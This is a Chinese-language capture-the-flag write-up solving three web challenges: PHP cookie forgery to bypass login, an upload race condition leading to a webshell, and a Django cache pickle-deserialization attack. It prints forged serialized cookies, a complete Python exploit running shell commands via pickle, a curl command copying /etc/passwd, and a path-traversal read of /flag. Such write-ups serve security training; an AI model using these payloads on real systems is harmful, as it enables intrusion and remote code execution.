Author:endowment
ezphp
登录窗口抓包,存在cookie,尝试cookie伪造绕过,这边先目录扫描,这边有flag.php,但是没啥用,读不了flag
简单讲一下302跳转:又称暂时性跳转,当页面临时移动到新的位置,而浏览器的缓存没有更新的时候,就会出现302跳转,而这题是因为不是admin身份,所以存在302跳转,我们只需要cookie伪造绕过即可😎

然后尝试cookie伪造绕过登录
Python
Cookie: identification=TzoxMjoiU2Vzc2lvblxVc2VyIjoxOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtzOjU6ImFkbWFkbWluaW4iO30
这个时候可以跳转,这里好像可以读文件,尝试一下

读/flag.php,让我们绕过

payload:用/绕过😘
Python
dashboard.php?filename=/flag.php/Uplssse
这道题也是cookie绕过登录+文件上传条件竞争
我们先来看cookie绕过登录,先注册admin/admin


将0改成1,然后base64编码即可
Python
Cookie: user_auth=Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjEwOiJpc0xvZ2dlZEluIjtiOjE7czo4OiJpc19hZG1pbiI7aToxO303Lg==
然后这个地方的过滤很恐怖:

但是这里有一个很重要的点就是每次上传黑名单后缀名文件都会被删除,当时尝试了很久想绕过黑名单,但是都失败了,换思路,打文件上传条件竞争:

然后蚁剑连:

ezDjango
这题chatGPT立大功
EXP:
打pickle反序列化没成功,但是发现copy目录下可以读取文件,这边我们先读/etc/passwd文件
Python
import requests
import pickle
import hashlib
import time
TARGET = "http://192.168.18.27:25003"
CACHE_KEY = "pwn"
CACHE_DIR = "/tmp/django_cache"
class RCE:
def __reduce__(self):
return (
eval,
("__import__('os').system('id; whoami; ls /; cat /flag 2>/dev/null')",)
)
# 1️⃣ 关键点:只 pickle value 本身
payload = pickle.dumps(RCE(), protocol=pickle.HIGHEST_PROTOCOL)
with open("evil.cache", "wb") as f:
f.write(payload)
print("[+] Correct value-only pickle payload generated")
# 2️⃣ 上传
files = {
"file": ("evil.cache", open("evil.cache", "rb")),
}
r = requests.post(f"{TARGET}/upload/", files=files)
print("[+] Upload:", r.text)
# 3️⃣ 正确的 Django cache key(你已经算对了)
django_key = f":1:{CACHE_KEY}"
cache_filename = hashlib.md5(django_key.encode()).hexdigest() + ".djcache"
dst_path = f"{CACHE_DIR}/{cache_filename}"
print("[*] Real django cache file:", dst_path)
# 4️⃣ 覆盖 cache
r = requests.post(
f"{TARGET}/copy/",
data={
"src": "",
"dst": dst_path
}
)
print("[+] Copy:", r.text)
# 5️⃣ 触发反序列化
r = requests.post(
f"{TARGET}/cache/trigger/",
data={"key": CACHE_KEY}
)
print("[+] Trigger result:")
print(r.text)
//curl -s -X POST "http://192.168.18.27:25003/copy/" -d "src=/etc/passwd" -d "dst=/tmp/django_cache/e4a25f7b052442a076b02ee9a1818d2e.djcache"

得到当前目录是/home/ctfer,然后读flag,这边要目录穿越
Python
scr=/home/ctfer/../../../flag
然后解密一下就可以了😶🌫️😶🌫️😶🌫️